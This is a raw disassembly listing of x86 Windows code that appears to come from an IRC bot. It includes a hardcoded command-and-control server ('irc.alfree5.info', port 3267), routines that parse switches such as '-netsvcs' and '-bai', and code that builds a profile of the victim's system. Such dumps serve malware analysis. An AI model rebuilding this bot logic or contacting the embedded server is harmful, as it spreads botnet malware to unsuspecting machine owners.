lea eax, [esp+1A4h+var_164]
push edx
push eax
nop
call near ptr 2910D27h
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017FD
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_4068E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BF0 proc near ; CODE XREF: sub_4015E6j
mov eax, ecx
mov dword ptr [eax], offset off_43F008
mov dword ptr [eax+110h], 0
retn
sub_406BF0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406C20: ; CODE XREF: ___:00401FAAj
push esi
mov esi, ecx
call sub_401447
test byte ptr [esp+8], 1
jz short loc_406C38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C38: ; CODE XREF: ___:00406C2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C50 proc near ; CODE XREF: sub_401447j
mov dword ptr [ecx], offset off_43F008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C67
push ecx
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
locret_406C67: ; CODE XREF: sub_406C50+Ej
retn
sub_406C50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C80 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C80
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406CB1
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406CB1: ; CODE XREF: sub_406C80+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_437AEA
sub_406C80 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_511B00
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_444600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp ; strtok
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D62: ; CODE XREF: ___:00406D74j
push offset asc_444600 ; " "
push 0
call ebp ; strtok
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D62
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F68
lea ebp, [esp+58h]
loc_406D88: ; CODE XREF: ___:00406F60j
mov edi, [ebp+0]
mov esi, offset dword_4447EC
mov eax, edi
loc_406D92: ; CODE XREF: ___:00406DB0j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DB6
test cl, cl
jz short loc_406DB2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DB6
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D92
loc_406DB2: ; CODE XREF: ___:00406D9Cj
xor eax, eax
jmp short loc_406DBB
; ---------------------------------------------------------------------------
loc_406DB6: ; CODE XREF: ___:00406D98j
; ___:00406DA6j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DBB: ; CODE XREF: ___:00406DB4j
test eax, eax
jz loc_406F58
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406DCA: ; CODE XREF: ___:00406DE8j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DEE
test cl, cl
jz short loc_406DEA
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DEE
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DCA
loc_406DEA: ; CODE XREF: ___:00406DD4j
xor eax, eax
jmp short loc_406DF3
; ---------------------------------------------------------------------------
loc_406DEE: ; CODE XREF: ___:00406DD0j
; ___:00406DDEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DF3: ; CODE XREF: ___:00406DECj
test eax, eax
jnz short loc_406E00
mov byte ptr [ebx+9], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E00: ; CODE XREF: ___:00406DF5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406E07: ; CODE XREF: ___:00406E25j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E2B
test cl, cl
jz short loc_406E27
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E2B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E07
loc_406E27: ; CODE XREF: ___:00406E11j
xor eax, eax
jmp short loc_406E30
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: ___:00406E0Dj
; ___:00406E1Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E30: ; CODE XREF: ___:00406E29j
test eax, eax
jnz short loc_406E3D
mov byte ptr [ebx+0Ah], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E3D: ; CODE XREF: ___:00406E32j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406E44: ; CODE XREF: ___:00406E62j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E68
test cl, cl
jz short loc_406E64
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E68
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E44
loc_406E64: ; CODE XREF: ___:00406E4Ej
xor eax, eax
jmp short loc_406E6D
; ---------------------------------------------------------------------------
loc_406E68: ; CODE XREF: ___:00406E4Aj
; ___:00406E58j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E6D: ; CODE XREF: ___:00406E66j
test eax, eax
jnz loc_406F58
lea ecx, [esp+10h]
call sub_40142E
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406F44
push eax
lea ecx, [esp+14h]
call sub_4015E1
push 1
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406F44
push 1
push offset asc_444600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_40168B
push eax
lea eax, [ebx+0Ch]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406F44: ; CODE XREF: ___:00406EA1j
; ___:00406EF1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F58: ; CODE XREF: ___:00406DBDj
; ___:00406DFBj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D88
xor ecx, ecx
loc_406F68: ; CODE XREF: ___:00406D7Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F75
mov [ebx+5], ecx
loc_406F75: ; CODE XREF: ___:00406F70j
cmp [ebx+5], ecx
jnz short loc_406F85
test al, al
jz short loc_406F85
mov dword ptr [ebx+5], 0Ah
loc_406F85: ; CODE XREF: ___:00406F78j
; ___:00406F7Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
byte_406FB0 db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407080 proc near ; CODE XREF: sub_4020BDj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407080
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_40156E
sub_407080 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43F00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407100 proc near ; CODE XREF: sub_40159Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015E1
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014EC
sub_407100 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407140 proc near ; CODE XREF: sub_401B04j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AD7
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40162C
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jz short loc_4071BB
mov edi, [esp+10h+arg_0]
loc_407183: ; CODE XREF: sub_407140+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_401749
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_4071C5
call sub_401F28
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jnz short loc_407183
loc_4071BB: ; CODE XREF: sub_407140+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_4071C5: ; CODE XREF: sub_407140+5Aj
call sub_401749
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_407140 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407210 proc near ; CODE XREF: sub_40221Bj
xor al, al
retn 4
sub_407210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407230 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_407230 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407270 proc near ; CODE XREF: sub_40162Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4021A8
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_407270 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072B0 proc near ; CODE XREF: sub_4021DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_4072B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4072E0 proc near ; CODE XREF: sub_4014ECj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021DF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_4072E0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407320 proc near ; CODE XREF: sub_401AD7j
push esi
mov esi, ecx
call sub_401B77
mov eax, esi
pop esi
retn
sub_407320 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_401749j
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_407340 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407360 proc near ; CODE XREF: sub_401F28j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407360 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407390 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FBE
neg al
sbb eax, eax
inc eax
retn 4
sub_407390 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4073C0 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C9E
mov edi, eax
push edi
call sub_401C6C
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_4073C0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C6C
push edi
mov [eax], ebx
call sub_401C6C
mov edi, [eax]
push edi
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_40167C
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407460 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019D8
sub_407460 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407475
mov edi, esi
loc_407475: ; CODE XREF: ___:00407471j
push esi
call sub_401A96
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40748A
mov edi, esi
loc_40748A: ; CODE XREF: ___:00407486j
push esi
call sub_401C6C
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074B0 proc near ; CODE XREF: sub_401A96j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_4074B0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074D0 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4074D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401B77j
mov eax, ecx
retn
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407510 proc near ; CODE XREF: sub_4021A8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_407510 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407540 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_407540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407590 proc near ; CODE XREF: sub_4019D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_407590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_40167Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075F0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075F0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_401C9Ej
mov eax, [ecx]
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407630 proc near ; CODE XREF: sub_401D2Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40763A
xor eax, eax
loc_40763A: ; CODE XREF: sub_407630+6j
push eax
call sub_437AEA
sub_407630 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407660 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40767B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40767B: ; CODE XREF: sub_407660+11j
retn
sub_407660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407690 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076B0 proc near ; CODE XREF: sub_401B40j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076B0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017EE
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_44ACE6
call sub_401B72
sub_4076B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407740 proc near ; CODE XREF: sub_401CD5j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407740
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017EE
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_44ACE6
call sub_401B72
sub_407740 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4077E0 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4077E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_2C4]
call sub_40142E
lea ecx, [esp+35Ch+var_2DC]
mov [esp+35Ch+var_4], 0
call sub_40142E
lea ecx, [esp+35Ch+var_174]
mov byte ptr [esp+35Ch+var_4], 1
call sub_40142E
lea ecx, [esp+35Ch+var_1A4]
mov byte ptr [esp+35Ch+var_4], 2
call sub_40142E
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 3
call sub_40142E
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 4
call sub_40142E
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 5
call sub_40142E
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 6
call sub_40142E
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 7
call sub_40142E
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_40142E
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_40142E
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_40142E
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_40142E
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_40142E
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_40142E
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_40142E
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_40142E
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_40142E
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_40142E
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_18C]
call sub_40142E
lea ecx, [esp+35Ch+var_144]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_40142E
lea ecx, [esp+35Ch+var_1BC]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_40142E
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_40142E
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_40142E
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_40142E
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_40142E
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_40142E
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_40142E
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_40142E
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_40142E
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_40142E
mov ebx, 1Eh
push offset aIrc_alfree5_in ; "irc.alfree5.info"
lea ecx, [esp+360h+var_2C4]
mov byte ptr [esp+360h+var_4], bl
call sub_401A9B
push offset a3267 ; "3267"
lea ecx, [esp+360h+var_2DC]
call sub_401A9B
push offset byte_448F40
lea ecx, [esp+360h+var_144]
call sub_401A9B
lea eax, [esp+35Ch+var_2C4]
lea ecx, [esp+35Ch+var_174]
push eax
call sub_40202C
lea ecx, [esp+35Ch+var_2DC]
push ecx
